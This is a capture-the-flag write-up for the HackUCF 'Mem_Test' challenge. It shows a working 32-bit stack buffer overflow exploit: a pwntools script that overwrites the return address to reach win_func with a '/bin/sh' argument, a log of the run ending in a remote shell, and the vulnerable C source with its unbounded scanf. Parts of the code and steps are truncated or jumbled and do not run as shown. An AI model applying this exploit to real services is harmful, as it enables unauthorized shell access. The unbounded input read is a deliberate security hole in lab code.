75 CTF.HackUCF.org Mem_Test

We are given a binary, and running the application gives us the following output after entering aaaa

------Test Your Memory!-------

I know that mine is fine...see? : 0x8048980  
Let's see how good your memory is...

sorry, your memory sucks  

So straight away it seems like we are given two memory addressed and we have to use them some how. We are given the c-code below as well.

Taking a look at the c-code (also given at the bottom), we see a global variable hint and that the memory address is being leaked with printf("%p \n", hint);

and that the that the outputted 8bGyUdjA5Z is a randomly generated canary. Our input is checked against the canary here as well..

BUT there is no need to check the canary Doesn't matter anyways. Easy to add to the code but it doesn't matter, and in a timed ctf you shouldn't add it. So after trial in error I found the buffer size to fill the stack up to the return address to be 23.
|Note: 23 is also the amount of characters in "God Bless Le Memezzzzzz"

So we fill the buffer pass the return address, and then pass the const char "bin/sh" defined as a global

if(strncmp(buff, p, sizeof(p)) != 0) {  
    puts("sorry, your memory sucks\n");
}else {
    puts("good job!!\n");


So the exploit steps are
1. Grab the canary
2. Grab the address of the hint so we can go to the win function right bellow
- lanauge-c const char* hint = "/bin/sh"; void mem_test(char* p) { 3. Find buffersize to overwrite the return address
- found to be 23 4. Send payload "God Bless Le Memezzzzzz" + address of Win_func + address of hint*2.
5. Note that the file is 32bit so p32() to wrap the addresses
6. Now you have a shell, rejoice. Cat some flags or something cool

Running Exploit

kettle   master  ⋯  Pwn  75_memory_test   
 λ  python exploit.py 
[*] '/home/kettle/git_repos/ctf/ctf.hackucf.org/Pwn/75_memory_test/mem_test'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
    RPATH:    '/usr/local/lib:$ORIGIN'
[+] Opening connection to ctf.hackucf.org on port 9004: Done

------Test Your Memory!-------

I know that mine is fine...see? : 0x8048980 

Let's see how good your memory is...  
> God_Bless_Le_Memezzzzzzf\x88\x0\x80\x89\x0\x80\x89\x0
sorry, your memory sucks

[*] Switching to interactive mode
$ ls
$ cat fla
cat: fla: No such file or directory  
$ cat flag.txt

Pwn Code

from pwn import *

#context.log_level =False
local   = False  
binary  = ELF('mem_test')

if local:  
    conn = remote('localhost', 1234)
    conn = remote('ctf.hackucf.org', 9004)

def getCanary():  
    print conn.recvuntil("------Test Your Memory!-------" )
    conn.recvline() + conn.recvline()
    canary = conn.recvline()
    canary = canary.strip()
    canary = canary.strip('\n')
    print canary
    return str(canary)

def getMemAddress():  
    #The output is :I know that mine is fine...see? : 0x8048980
    line = conn.recvline()
    print line
    memAddress = line.split(": ")[1]
    conn.recvuntil("> ")
    memAddress = p32(int(memAddress.strip(), 16))
    return memAddress

def makePayload(canary, memAddress):  
    bufferFiller    = 23                # The amount of space we need to fill up
    returnAddress   = p32(0x8048866)    # Address of win_func
    hint            = p32(0x8048980)    # /bin/sh
    filler  = "God_Bless_Le_Memezzzzzz"
    assert len(filler) <= bufferFiller  # make sure meme is right length

    payload         = filler
    payload         += returnAddress
    payload         += hint*2           # since it pushes ebp+0x
    print "> " + payload
    return payload

def sendPayload(payload):  

if __name__ == "__main__":  
    canary = getCanary()
    memAddress= getMemAddress()
    payload = makePayload(canary, memAddress)

c code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "pwnable_harness.h"

const char* hint = "/bin/sh";

void mem_test(char* p) {  
    char buff[11];
    memset(buff, '\0', sizeof(buff));
    printf("\nI know that mine is fine...see? : ");
    printf("%p \n", hint);
    puts("Let's see how good your memory is...\n");
    printf("> ");
    scanf("%s", buff);

    if(strncmp(buff, p, sizeof(p)) != 0) {
        puts("sorry, your memory sucks\n");
    }else {
        puts("good job!!\n");

void handle_connection(int sock) {  
    int len = 10;
    char random[11];
    int i;
    static const char alphanum[] =

    puts("\n\n\n------Test Your Memory!-------\n");
    for(i = 0; i < len; ++i) {
        random[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
    printf("%s", random);
void win_func(char* y) {  
int main(int argc, char** argv) {  
    /* Defaults: Run on port 9004 for 30 seconds as user "ctf_mem_test" in a chroot */
    server_options opts = {
        .user = "ctf_mem_test",
        .chrooted = true,
        .port = 9004,
        .time_limit_seconds = 30
    return server_main(argc, argv, opts, &handle_connection);
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